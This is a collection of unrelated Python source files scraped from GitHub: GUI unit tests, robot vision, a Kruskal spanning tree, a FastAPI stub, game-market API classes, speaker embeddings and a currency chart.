+{"seq_id":"31309742754","text":"import unittest\n\nfrom PySide.QtGui import QApplication,QMainWindow,QTabWidget,QContextMenuEvent\nfrom PySide.QtTest import QTest\nfrom PySide.QtCore import Qt,QTimer,Slot,QPoint\n\nfrom koi.test.test_base import TestBase\nfrom koi.db_mapping import *\nfrom koi.dao import *\n\nfrom koi.server.server import ClockServer,ServerException\nfrom koi.OrderOverview import OrderOverviewWidget\nfrom koi.OperationDefinitionsCache import operation_definition_cache\n\n\n\nclass TestOrderOverview(TestBase):\n\n    @classmethod\n    def setUpClass(cls):\n        super(TestOrderOverview,cls).setUpClass()\n        app = QApplication.instance()\n        if app is None:\n            app = QApplication(sys.argv)\n        # Fix issues with combo box that gets cleared too fast\n        app.setEffectEnabled(Qt.UI_AnimateCombo, False)\n        cls.app = app\n\n        cls.mw = QMainWindow()\n        cls.mw.setMinimumSize(1024,768)\n        cls.order_overview_widget = OrderOverviewWidget(None,None,\n                                                        None,\n                                                        True)\n        cls.mw.setCentralWidget(cls.order_overview_widget)\n        cls.mw.show()\n\n        # This is a big hack to select the \"in production\" order parts filter\n        # on the overview. Without that, the \"completed\" order parts filter\n        # is applied and no order parts gets shown :-(\n\n        cls.order_overview_widget.persistent_filter.get_filters_combo().setCurrentIndex(1)\n        QTest.qWaitForWindowShown(cls.mw)\n        cls.app.processEvents()\n\n    @classmethod\n    def tearDownClass(cls):\n\n        # cls.mw.setCentralWidget(None)\n        cls.mw.close()\n        cls.order_overview_widget.close()\n        cls.app.processEvents()\n\n        # cls.order_overview_widget.deleteLater()\n        # cls.mw.deleteLater()\n        cls.app.processEvents()\n        cls.app.closeAllWindows()\n        cls.app = None\n\n    def setUp(self):\n        super(TestOrderOverview,self).setUp()\n        self._clear_database_content()\n        operation_definition_cache.refresh()\n\n    @Slot()\n    def _click_context_menu(self):\n        mainlog.debug(\"hello \" * 100)\n\n        active_widget = self.app.activePopupWidget()\n        mainlog.debug(active_widget)\n        # active_widget = self.app.focusWidget()\n        mainlog.debug(active_widget)\n        active_widget.setFocus()\n\n        #QApplication.\n        for i in range(10):\n            self.app.processEvents()\n\n        QTest.keyEvent(QTest.Click, active_widget, Qt.Key_Down) # enter menu\n        for i in range(10):\n            self.app.processEvents()\n        QTest.keyEvent(QTest.Click, active_widget, Qt.Key_Down) # skip modify command\n        self.app.processEvents()\n        QTest.keyEvent(QTest.Click, active_widget, Qt.Key_Down) # Skip priority\n        self.app.processEvents()\n\n        import time\n        for i in range(50):\n            # time.sleep(0.1)\n            self.app.processEvents()\n\n        QTest.keyEvent(QTest.Click, active_widget, Qt.Key_Enter) # At this point we're on \"order part -> aborted\"\n        self.app.processEvents()\n        mainlog.debug(\"_click_context_menu : done\")\n\n    def test_change_order_part_state(self):\n        order = self._make_order()\n\n        order_part = self._order_part_dao.make(order)\n        order_part.description = u\"Part 2\"\n        order_part.position = 2\n        self._order_part_dao.save(order_part)\n\n        order_part = self._order_part_dao.make(order)\n        order_part.description = u\"Part 3\"\n        order_part.position = 3\n        self._order_part_dao.save(order_part)\n\n        self._order_dao.change_order_state(order.order_id,OrderStatusType.order_ready_for_production)\n\n        # self.order_overview_widget.month_today()\n        self.order_overview_widget.refresh_action()\n        self.order_overview_widget.retake_focus()\n        # self.app.exec_()\n\n        # Select the first order part (we assume they are properly ordered)\n        v = self.order_overview_widget.current_orders_overview.table_view\n        v.setCurrentIndex( v.model().index(0,0))\n        QTest.mouseMove(v)\n\n        # QTest.mouseClick(self.order_overview_widget.current_orders_overview.table_view,\n        #                  Qt.RightButton, delay=500)\n\n        # self.order_overview_widget.current_orders_overview.popup_parts()\n\n\n        timer = QTimer()\n        timer.timeout.connect(self._click_context_menu)\n        timer.setSingleShot(True)\n        timer.start(1000)\n\n        # I can't have the menu to popup using museClicks, so I\n        # do it this way. FIXME Taht's not right because nothing prooves\n        # that my context menu is shown on mouse clicks...\n        self.app.sendEvent(self.order_overview_widget.current_orders_overview.table_view,\n                           QContextMenuEvent(QContextMenuEvent.Keyboard, QPoint(10,10)))\n\n\n        # self.app.exec_()\n\n\n        order = self.order_dao.find_by_id(order.order_id)\n        self.assertEqual(OrderPartStateType.aborted,              order.parts[0].state)\n        self.assertEqual(OrderPartStateType.ready_for_production, order.parts[1].state)\n        self.assertEqual(OrderPartStateType.ready_for_production, order.parts[2].state)\n\n\n    def test_filter(self):\n        order = self._make_order()\n        order_part = self._order_part_dao.make(order)\n        order_part.description = u\"Part 2\"\n        order_part.position = 2\n        self._order_part_dao.save(order_part)\n        order_part = self._order_part_dao.make(order)\n        order_part.description = u\"Part 3\"\n        order_part.position = 3\n        self._order_part_dao.save(order_part)\n\n        self.order_overview_widget.persistent_filter.super_filter_entry.setText(u\"Si\"+ chr(233) + u\"mens\")\n        QTest.keyEvent(QTest.Click, self.order_overview_widget.persistent_filter.super_filter_entry, Qt.Key_Enter)\n        self.app.processEvents()\n\n        self.assertEqual(3,self.order_overview_widget.current_orders_overview.table_view.model().rowCount())\n\n\n        self.order_overview_widget.persistent_filter.super_filter_entry.setText(\"XXXXZZZZ\")\n        QTest.keyEvent(QTest.Click, self.order_overview_widget.persistent_filter.super_filter_entry, Qt.Key_Enter)\n        self.app.processEvents()\n\n        self.assertEqual(0,self.order_overview_widget.current_orders_overview.table_view.model().rowCount())\n\n\n        self.order_overview_widget.persistent_filter.super_filter_entry.setText(\"\")\n        self.prepare_to_click_dialog(\"filter_is_empty\")\n        QTest.keyEvent(QTest.Click, self.order_overview_widget.persistent_filter.super_filter_entry, Qt.Key_Enter)\n        self.wait_until_dialog_clicked()\n\n        self.order_overview_widget.persistent_filter.super_filter_entry.setText(\"Z\")\n        self.prepare_to_click_dialog(\"filter_is_too_short\")\n        QTest.keyEvent(QTest.Click, self.order_overview_widget.persistent_filter.super_filter_entry, Qt.Key_Enter)\n        self.wait_until_dialog_clicked()\n\n        self.order_overview_widget.persistent_filter.super_filter_entry.setText(\"cli = zulu\")\n        self.prepare_to_click_dialog(\"filter_is_wrong\")\n        QTest.keyEvent(QTest.Click, self.order_overview_widget.persistent_filter.super_filter_entry, Qt.Key_Enter)\n        self.wait_until_dialog_clicked()\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"wiz21b/koi","sub_path":"koi/test/test_order_overview.py","file_name":"test_order_overview.py","file_ext":"py","file_size_in_byte":7247,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"30722841243","text":"import cv, rectangulate\ndef readBallData(isGreen):\n\tdata = []\n\tf = 0\n\tif isGreen:\n\t\tf = open(\"HSV_GREEN_BALL.data\", 'r')\n\telse:\n\t\tf = open(\"HSV_RED_BALL.data\", 'r')\n\tfor line in f:\n\t\tdata.append(int(float(line.strip())))\n\tf.close()\n\toutput=[(data[0], data[1], data[2]), (data[3], data[4], data[5])]\n\treturn output\ndef followBall(cam, lowerHSV, upperHSV):\n\t# Capture camera frame and find balls\n\tfeed = cam\n\tballs = rectangulate.findObjects(feed, lowerHSV, upperHSV)\n\tline25Percent = feed.width/4\n\tmidlineHorizontal = feed.width/2\n\tline75Percent = line25Percent * 3\n\n\t#print list(balls)\n\t# Find the biggest recangle --> represents closest ball or biggest set of balls\n\tbiggestBall = ()\n\tmaxSize = 0\n\tcurrentSize = 0\n\tfor ball in balls:\n\t\tcurrentSize = ball[2]*ball[3]\n\t\tif currentSize > maxSize:\n\t\t\tbiggestBall = ball\n\t\t\tmaxSize = currentSize\n\t# Debug/Test code\n\t#if biggestBall == ():\n\t#\tprint \"no Ball, LOL\"\n\t#elif 0 <= biggestBall[0] < line25Percent:\n\t#\tprint \"x coord: \", biggestBall[0]\n\t#\tprint \"move far right\"\n\t#elif line25Percent <= biggestBall[0] < midlineHorizontal:\n\t#\tprint \"x coord: \", biggestBall[0]\t\n\t#\tprint \"move somewhat right\"\n\t#elif midlineHorizontal <= biggestBall[0] < line75Percent:\n\t#\tprint \"x coord: \", biggestBall[0]\n\t#\tprint \"move somewhat left\"\n\t#elif line75Percent <= biggestBall[0] < feed.width:\n\t#\tprint \"x coord: \", biggestBall[0]\n\t#\tprint \"move far left\"\n\toutput = biggestBall + (feed.width, feed.height)\n\treturn output\n\nif __name__ == \"__main__\":\n\tcam = cv.CaptureFromCAM(0)\n\tvalues = readBallData()\n\twhile True:\n\t\tfollowBall(cam, values[0], values[1])\n","repo_name":"stevenrkeyes/2012MASLabTeam6","sub_path":"balls.py","file_name":"balls.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41961712353","text":"# coding=utf-8\nimport numpy as np\n\n\ndef prob_logit(x):\n    \"\"\"calc accelerated_cv_on_mlr probability from weight vector x\n\n    Args:\n        x: M dimensional vector ((M,)-shape np.float64 object)\n\n    Returns:\n        probability ((M, 2)-shape np.float64 object)\n    \"\"\"\n    try:\n        if len(x.shape) != 1:\n            raise ValueError(\"unexpected shape of input vector\\nexpected:\" + str(1) + \", actual: \" + str(len(x.shape)))\n    except ValueError as e:\n        print(e)\n        print()\n        raise\n\n    x = 1.0 * np.exp(-x)\n\n    probability = np.concatenate(\n        (\n            (x / (1.0 + x)).reshape(x.shape[0], 1),\n            (1.0 / (1.0 + x)).reshape(x.shape[0], 1)\n        ),\n        axis=1\n    )\n\n    return probability\n","repo_name":"T-Obuchi/AcceleratedCVonMLR_python","sub_path":"accelerated_cv_on_mlr/prob_logit.py","file_name":"prob_logit.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"7254998890","text":"import rofunc as rf\n\n\ndef check_urdf(urdf_path):\n    from urdfpy import URDF\n\n    robot = URDF.load(urdf_path)\n    # link_number = len(robot.links)\n    # joint_number = len(robot.joints)\n\n    link_name = []\n    for link in robot.links:\n        link_name.append(link.name)\n    rf.logger.beauty_print('Robot link names (total {}): {}'.format(len(robot.links), link_name), type='info')\n\n    joint_name = []\n    for joint in robot.joints:\n        joint_name.append(joint.name)\n    rf.logger.beauty_print('Robot joint names (total {}): {}'.format(len(robot.joints), joint_name), type='info')\n\n    actuated_joint_name = []\n    for joint in robot.actuated_joints:\n        actuated_joint_name.append(joint.name)\n    rf.logger.beauty_print(\n        'Robot actuated joint names (total {}): {}'.format(len(robot.actuated_joints), actuated_joint_name),\n        type='info')\n\n    # for joint in robot.joints:\n    #     print('{} connects {} to {}'.format(\n    #         joint.name, joint.parent, joint.child))\n\n    return link_name, joint_name, actuated_joint_name\n","repo_name":"Skylark0924/Rofunc","sub_path":"rofunc/utils/robolab/kinematics/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":218,"dataset":"github-code","pt":"60"}
+{"seq_id":"6480101185","text":"import random\r\nrandint_num = random.randint(1, 10)\r\ni=0\r\nt=1000\r\nwhile i<=10:\r\n    num = int(input(\"猜猜今日福利彩票蓝色号码球\"))\r\n    if num == randint_num:  # 进行判断\r\n        print(\"Ok\")  # 打印ok\r\n        break  # 退出\r\n    elif num > randint_num:\r\n        print(\"你输入的过大\")\r\n    elif num < randint_num:\r\n        print(\"你输入的过小\")\r\n    i=i+1\r\n    t=t-100\r\n    print(\"您猜的次数为\",i)\r\n    print(\"您的剩余金额为\",t)\r\n    if t<=0:\r\n        print(\"您的金额不足\")\r\n        break\r\n    decide=input('不玩了输入Q/q退出:')\r\n    if decide.upper()=='Q':\r\n        break\r\n","repo_name":"bayleexixi/store","sub_path":"project2.py","file_name":"project2.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37693145036","text":"# range() 函数可创建一个整数列表，一般用在 for 循环中\n# 一个参数: 0开始，结束为止，步长为1\n# 两个参数: 1起始位置，2结束位置\n# 三个参数: 1起始位置，2结束位置，3步长\n\n\n# 例题1：\n# a = range(10)\n# print(a)\n# b = list(a)\n# print(b)\n\n\n# 例题2：\n# for i in range(10):\n#     print(i)\n\n# for i in range(3, 10):\n#     print(i)\n\n# for i in range(3, 10, 2):\n#     print(i)\n\n# for i in range(10, 3, -1):\n#     print(i)\n\n\n# 例题3：通过索引依次取出列表元素\n# lst1 = ['李白', '杜甫', '王维', '白居易', '李商隐']\n# for item in lst1:\n#     print(item)\n\n# lst1 = ['李白', '杜甫', '王维', '白居易', '李商隐']\n# for item in range(len(lst1)):\n#     print(lst1[item])\n\n# 例题4：\nlst1 = ['李白', '杜甫', '王维', '白居易', '李商隐']\nlst2 = ['静夜思', '登高', '相思', '长恨歌', '无题']\nresult = []\nfor item in range(len(lst1)):\n    data = [lst1[item], lst2[item]]\n    print(data)\n    result.append(data)\nprint(result)\n\n","repo_name":"Bradford-Chen/-python","sub_path":"01-range.py","file_name":"01-range.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42206760688","text":"\nclass Vertex(object):\n\n\tdef __init__(self, name):\n\t\tself.name = name;\n\t\tself.node = None; # !!!!\n\t\t\nclass Node(object):\n\n\tdef __init__(self, height, nodeId, parentNode):\n\t\tself.height = height;\n\t\tself.nodeId = nodeId;\n\t\tself.parentNode = parentNode;\n\t\t\nclass Edge(object):\n\t\n\tdef __init__(self, weight, startVertex, targetVertex):\n\t\tself.weight = weight;\n\t\tself.startVertex = startVertex;\n\t\tself.targetVertex = targetVertex;\n\t\t\n\tdef __cmp__(self, otherEdge):\n\t\treturn self.cmp(self.weight, otherEdge.weight);\n\t\t\n\tdef __lt__(self, other):\n\t\tselfPriority = self.weight;\n\t\totherPriority = other.weight;\n\t\treturn selfPriority < otherPriority;\n\t\t\nclass DisjointSet(object):\n\n\tdef __init__(self, vertexList):\n\t\tself.vertexList = vertexList;\n\t\tself.rootNodes = [];\n\t\tself.nodeCount = 0;\n\t\tself.setCount = 0;\n\t\tself.makeSets(vertexList);\n\t\t\n\tdef find(self, node):\n\t\n\t\tcurrentNode = node;\n\t\t\n\t\twhile currentNode.parentNode is not None:\n\t\t\tcurrentNode = currentNode.parentNode;\n\t\t\t\n\t\troot = currentNode;\n\t\tcurrentNode = node;\n\t\t\n\t\twhile currentNode is not root:\n\t\t\ttemp = currentNode.parentNode;\n\t\t\tcurrentNode.parentNode = root;\n\t\t\tcurrentNode = temp;\n\t\t\t\n\t\treturn root.nodeId;\n\t\n\tdef merge(self, node1, node2):\n\t\n\t\tindex1 = self.find(node1);\n\t\tindex2 = self.find(node2);\n\t\t\n\t\tif index1 == index2:\n\t\t\treturn;  # they are in the same set !!!!\n\t\t\t\n\t\troot1 = self.rootNodes[index1];\n\t\troot2 = self.rootNodes[index2];\n\t\t\n\t\tif root1.height < root2.height:\n\t\t\troot1.parentNode = root2;\n\t\telif root1.height > root2.height:\n\t\t\troot2.parentNode = root1;\n\t\telse:\n\t\t\troot2.parentNode = root1;\n\t\t\troot1.height = root1.height + 1;\n\t\t\n\tdef makeSets(self, vertexList):\n\t\tfor v in vertexList:\n\t\t\tself.makeSet(v);\n\t\t\t\n\tdef makeSet(self, vertex):\n\t\tnode = Node(0, len(self.rootNodes),None);\n\t\tvertex.node = node;\n\t\tself.rootNodes.append(node);\n\t\tself.setCount = self.setCount + 1;\n\t\tself.nodeCount = self.nodeCount + 1;\n\t\t\nclass KruskalAlgorithm(object):\n\n\tdef spanningTree(self, vertexList, edgeList):\n\t\n\t\tdisjointSet = DisjointSet(vertexList);\n\t\tspanningTree = [];\n\t\t\n\t\tedgeList.sort();\n\t\t\n\t\tfor edge in edgeList:\n\t\t\n\t\t\tu = edge.startVertex;\n\t\t\tv = edge.targetVertex;\n\t\t\t\n\t\t\tif disjointSet.find(u.node) is not disjointSet.find(v.node):\n\t\t\t\tspanningTree.append(edge);\n\t\t\t\tdisjointSet.merge(u.node, v.node);  # !!!! dot\n\t\t\t\t\n\t\tfor edge in spanningTree:\n\t\t\tprint(edge.startVertex.name,\" - \", edge.targetVertex.name);\n\t\t\t\nvertex1 = Vertex(\"a\");\nvertex2 = Vertex(\"b\");\nvertex3 = Vertex(\"c\");\nvertex4 = Vertex(\"d\");\nvertex5 = Vertex(\"e\");\nvertex6 = Vertex(\"f\");\nvertex7 = Vertex(\"g\");\n\nedge1 = Edge(2,vertex1,vertex2);\nedge2 = Edge(6,vertex1,vertex3);\nedge3 = Edge(5,vertex1,vertex5);\nedge4 = Edge(10,vertex1,vertex6);\nedge5 = Edge(3,vertex2,vertex4);\nedge6 = Edge(3,vertex2,vertex5);\nedge7 = Edge(1,vertex3,vertex4);\nedge8 = Edge(2,vertex3,vertex6);\nedge9 = Edge(4,vertex4,vertex5);\nedge10 = Edge(5,vertex4,vertex7);\nedge11 = Edge(5,vertex6,vertex7);\n\n\nvertexList = [];\nvertexList.append(vertex1);\nvertexList.append(vertex2);\nvertexList.append(vertex3);\nvertexList.append(vertex4);\nvertexList.append(vertex5);\nvertexList.append(vertex6);\nvertexList.append(vertex7);\n\nedgeList = [];\nedgeList.append(edge1);\nedgeList.append(edge2);\nedgeList.append(edge3);\nedgeList.append(edge4);\nedgeList.append(edge5);\nedgeList.append(edge6);\nedgeList.append(edge7);\nedgeList.append(edge8);\nedgeList.append(edge9);\nedgeList.append(edge10);\nedgeList.append(edge11);\n\nalgorithm = KruskalAlgorithm();\nalgorithm.spanningTree(vertexList, edgeList);\t\t\t\n\t\n\n\n","repo_name":"soumyadip007/Data-Structure-and-Algorithm-Using-Python","sub_path":"Graph/kruskal.py","file_name":"kruskal.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"60"}
+{"seq_id":"6633361320","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nimport uvicorn\n\nfrom app.api import predict, viz\n\napp = FastAPI(\n    title='YOUR-PRODUCT-TEAM-NAME DS API',\n    description='Replace this placeholder text',\n    version='0.1',\n    docs_url='/',\n)\n\napp.include_router(predict.router)\napp.include_router(viz.router)\n\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=['*'],\n    allow_credentials=True,\n    allow_methods=['*'],\n    allow_headers=['*'],\n)\n\nif __name__ == '__main__':\n    uvicorn.run(app)\n","repo_name":"BloomTech-Labs/LabsPT13-Resfeber-A-DS","sub_path":"project/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74790785470","text":"from __future__ import annotations\nfrom typing import List, TYPE_CHECKING\n\nimport datetime\n\nfrom .traders import Trader\n\nif TYPE_CHECKING:\n    from .types.item import (\n        Item as ItemPayload,\n        BSGItem as BSGItemPayload,\n        BSGPrefab as PrefabPayload,\n        BSGProps\n    )\n\n__all__ = (\n    'Item',\n    'BSGItem'\n)\n\n\nclass Item:\n\n    __slots__ = (\n        'uid',\n        'bsg_id',\n        'name',\n        'short_name',\n        'price',\n        'base_price',\n        'slots',\n        'avg24h_price',\n        'avg7days_price',\n        '_updated_at',\n        'diff24h',\n        'diff7days',\n        'link',\n        'wiki_link',\n        'icon_url',\n        'image_url',\n        'is_functional',\n        'tags',\n        'trader',\n        '_http',\n        'banned_on_flea',\n        'have_market_data',\n    )\n\n    def __init__(self, payload: ItemPayload):\n        self.uid: str = payload['uid']\n        self.bsg_id: str = payload['bsgId']\n        self.name: str = payload['name']\n        self.short_name: str = payload['shortName']\n        self.slots: int = payload['slots']\n        self.link: str = payload['link']\n        self.wiki_link: str = payload['wikiLink']\n\n        self._update(payload)\n\n    def __str__(self) -> str:\n        return self.name\n\n    def __int__(self) -> int:\n        return self.price\n\n    def __eq__(self, other) -> bool:\n        return isinstance(other, Item) and self.uid == other.uid\n\n    def __ne__(self, other) -> bool:\n        return not self.__eq__(other)\n\n    def __repr__(self) -> str:\n        attrs = (\n            ('uid', self.uid),\n            ('name', self.name),\n            ('price', self.price),\n            ('short_name', self.short_name),\n            ('banned_on_flea', self.banned_on_flea),\n        )\n\n        joined = ' '.join('%s=%r' % t for t in attrs)\n        return f'<{self.__class__.__name__} {joined}>'\n\n    def __hash__(self) -> int:\n        return hash(self.uid)\n\n    @property\n    def url(self):\n        return self.link\n\n    @property\n    def wiki_url(self):\n        return self.wiki_link\n\n    @property\n    def updated_at(self) -> datetime.datetime:\n        return datetime.datetime.strptime(self._updated_at, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n\n    def _update(self, data: ItemPayload):\n        self.price = data['price']\n        self.base_price = data['basePrice']\n        self.avg24h_price = data['avg24hPrice']\n        self.avg7days_price = data['avg7daysPrice']\n        self._updated_at = data['updated']\n        self.diff24h = data['diff24h']\n        self.diff7days = data['diff7days']\n\n        self.icon_url = data['icon']\n        self.image_url = data['imgBig']\n\n        self.is_functional: bool = data['isFunctional']\n        self.tags: List[str] = data['tags']\n\n        self.trader: Trader = Trader(data)\n\n        self.banned_on_flea: bool = data['bannedOnFlea']\n        self.have_market_data: bool = data.get('haveMarketData', False)\n\n\nclass Prefab:\n\n    def __init__(self, prefab_type: int, payload: PrefabPayload):\n        self._type: int = prefab_type\n        self._update(payload)\n\n    def _update(self, data: PrefabPayload):\n        self.path = data['path']\n        self.rcid = data['rcid']\n\n    @property\n    def type(self):\n\n        types = {\n            0: 'basic',\n            1: 'user'\n        }\n\n        return types.get(self._type, 'Unknown Type')\n\n\nclass BSGItem:\n\n    def __init__(self, payload: BSGItemPayload):\n        self.raw_name: str = payload['_name']\n        self.id: str = payload['_id']\n        self.parent: str = payload['_parent']\n        self.type: str = payload['_type']\n        self.proto: str = payload.get('_proto', '')\n\n        self._update(payload['_props'])\n\n    def _update(self, data: BSGProps) -> None:\n        self.name = data.get('Name')\n        self.short_name = data.get('ShortName')\n        self.description = data.get('Description')\n\n        self.weight: int = data.get('Weight')\n        self.width: int = data.get('Width')\n        self.height: int = data.get('Height')\n\n        self.stack_max: int = data.get('StackMaxSize')\n        self.rarity = data.get('spawnRarity')\n\n        self.item_sound = data.get('ItemSound')\n\n        prefab = data.get('Prefab')\n        use_prefab = data.get('UsePrefab')\n\n        self.prefab = Prefab(0, prefab) if prefab else None\n        self.use_prefab = Prefab(1, use_prefab) if use_prefab else None\n\n        self.examine_time: int = data.get('ExamineTime')\n\n        self.loot_experience: int = data.get('LootExperience')\n\n        self.is_quest_item: bool = data.get('QuestItem')\n\n        self.fold_able: bool = data.get('IsAnimated', False)\n\n        self.repair_cost: int = data.get('RepairCost', 0)\n        self.repair_speed: int = data.get('RepairSpeed', 0)\n\n        self.credits_price: int = data.get('CreditsPrice', 0)\n\n    @property\n    def loot_exp(self) -> int:\n        return self.loot_experience\n","repo_name":"Hostagen/tarkov-market.py","sub_path":"tarkov_market/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"5583459625","text":"from process import process_updates\nimport pandas as pd\nimport plotly.express as px\n\ndef main():\n    reduced = process_updates()\n    reduced.max_count = pd.to_numeric(reduced.max_count)\n    reduced.current_count = pd.to_numeric(reduced.current_count)\n    reduced['capacity'] = reduced.current_count / reduced.max_count\n\n    fitness = reduced[reduced.location.str.contains('Fitness')]\n    fig = px.scatter(fitness, x='update_time', y='capacity', color='location')\n    fig.update_yaxes(range=(0,2))\n    fig.show()\n\nif __name__ == '__main__':\n    main()","repo_name":"janwodnicki/recwell-usage","sub_path":"plot_fitness.py","file_name":"plot_fitness.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32101261739","text":"import sys\n\n\ndef find(node):\n    if parent[node] != node:\n        parent[node] = find(parent[node])\n    return parent[node]\n\ndef union(one, two):\n    parent_one = find(one)\n    parent_two = find(two)\n\n    if parent_one < parent_two:\n        parent[parent_two] = parent_one\n    else:\n        parent[parent_one] = parent_two\n\n\nn, m = map(int, sys.stdin.readline().split())\nedge, parent, ans = [], [i for i in range(n + 1)], []\n\nfor i in range(m):\n    a, b, c = map(int, sys.stdin.readline().split())\n    edge.append((c, a, b))\n\nedge.sort()\nidx = 0\nwhile len(ans) < n - 2:\n    cost, node_a, node_b = edge[idx]\n\n    if find(node_a) != find(node_b):\n        union(node_a, node_b)\n        ans.append(cost)\n\n    idx += 1\n\nprint(sum(ans))","repo_name":"LONGNEW/Problem_Solving","sub_path":"DFS BFS/BOJ 1647 도시 분할 계획.py","file_name":"BOJ 1647 도시 분할 계획.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6226622553","text":"\nimport unittest\n\nfrom flask import Flask, request\nfrom flask_inputs import Inputs\nfrom wtforms.validators import AnyOf\n\n\napp = Flask(__name__)\napp.add_url_rule('/<color>', 'color')\n\n\nclass RuleInputs(Inputs):\n    rule = {\n        'color': [\n            AnyOf(['red', 'green', 'blue'], message='Not a valid color.')\n        ]\n    }\n\nvalid_data = '/green'\ninvalid_data = '/yellow'\n\n\nclass RuleTest(unittest.TestCase):\n    def test_valid(self):\n        with app.test_request_context(valid_data):\n            inputs = RuleInputs(request)\n\n            self.assertTrue(inputs.validate())\n\n    def test_invalid(self):\n        with app.test_request_context(invalid_data):\n            inputs = RuleInputs(request)\n\n            self.assertFalse(inputs.validate())\n\n    def test_error_messages(self):\n        with app.test_request_context(invalid_data):\n            inputs = RuleInputs(request)\n            inputs.validate()\n\n            self.assertEqual(inputs.errors, ['Not a valid color.'])\n","repo_name":"nathancahill/flask-inputs","sub_path":"tests/test_rule.py","file_name":"test_rule.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"60"}
+{"seq_id":"40586404053","text":"from processor.speaker_embedding_processor import SpeakerEmbeddingProcessor\nfrom processor.audio_processor import AudioProcessor\nimport torch.utils.data\nimport numpy as np\nimport os\nimport gin\nimport tqdm\n\n@gin.configurable\ndef load_voxceleb_embeddings(voxceleb_wav_path, n=1024):\n    paths = []\n    for root, _, filenames in os.walk(voxceleb_wav_path):\n        for filename in filenames:\n            processed_file_path = os.path.join(root, filename)\n            paths.append(processed_file_path)\n\n    idxs = np.arange(len(paths))\n    np.random.shuffle(idxs)\n    paths = [paths[i] for i in idxs[:n]]\n    return embeddings_from_wav_set(paths)\n\ndef collate(batch):\n    return [x[0] for x in batch]\n\n\ndef embeddings_from_wav_set(wav_file_paths):\n    batch_size = 64\n\n    get_embeddings = SpeakerEmbeddingProcessor(use_gpu=True)\n    audio_processor = AudioProcessor()\n\n    dset = WavInferenceDataSet(wav_file_paths, audio_processor)\n    loader = torch.utils.data.DataLoader(dset, batch_size=batch_size, shuffle=False, collate_fn=collate, num_workers=16)\n    embeddings = []\n\n    pbar = tqdm.tqdm(total=len(wav_file_paths))\n    for idx, utterance_batch in enumerate(loader):\n        embeddings_batch = get_embeddings(utterance_batch)\n        embeddings.append(embeddings_batch.numpy())\n        pbar.update(batch_size)\n    embeddings = np.concatenate(embeddings, axis=0)\n    return embeddings\n\n\nclass WavInferenceDataSet(torch.utils.data.Dataset):\n\n    def __init__(self, file_paths, audio_processor):\n        super(WavInferenceDataSet, self).__init__()\n        self.audio_processor = audio_processor\n        self.utterance_paths = file_paths\n\n    def __len__(self):\n        return len(self.utterance_paths)\n\n    def __getitem__(self, item):\n        return self.audio_processor.from_file(self.utterance_paths[item])\n","repo_name":"rbrigden/you-only-listen-once","sub_path":"processor/external.py","file_name":"external.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"6997780993","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport requests\nimport random\n\n\ndef get_currencies(currency_list):\n    URL = 'https://www.cbr-xml-daily.ru/daily_json.js'\n    response = requests.get(URL).json()\n    currencies = response['Valute']\n    table = [currencies[i] for i in currency_list]\n    result = [[i[\"Nominal\"], i[\"Value\"]] for i in table]\n    return result\n\n\ndef make_chart(currency_list):\n    response = get_currencies(currency_list)\n\n    currs = [i[1] for i in response]\n    currency_names = [\n        f'{response[k][0]} {v}' for k, v in enumerate(currency_list)\n        ]\n\n    N = len(currs)\n    ind = np.arange(N)\n    width = 0.35\n\n    colors = tuple(\n        [tuple([random.uniform(0, 1) for i in range(3)]) for i in currs]\n        )\n    p1 = plt.bar(ind, currs, width, color=colors)\n    plt.ylabel('RUB')\n    plt.title('Currency list')\n    plt.xticks(ind, currency_names)\n    plt.yticks(np.arange(0, max(currs), (max(currs) // 10)))\n\n    plt.savefig('result.jpg')\n    return 'result.jpg'\n","repo_name":"nanashinogonbee/currency-bot","sub_path":"multi_currency_chart.py","file_name":"multi_currency_chart.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
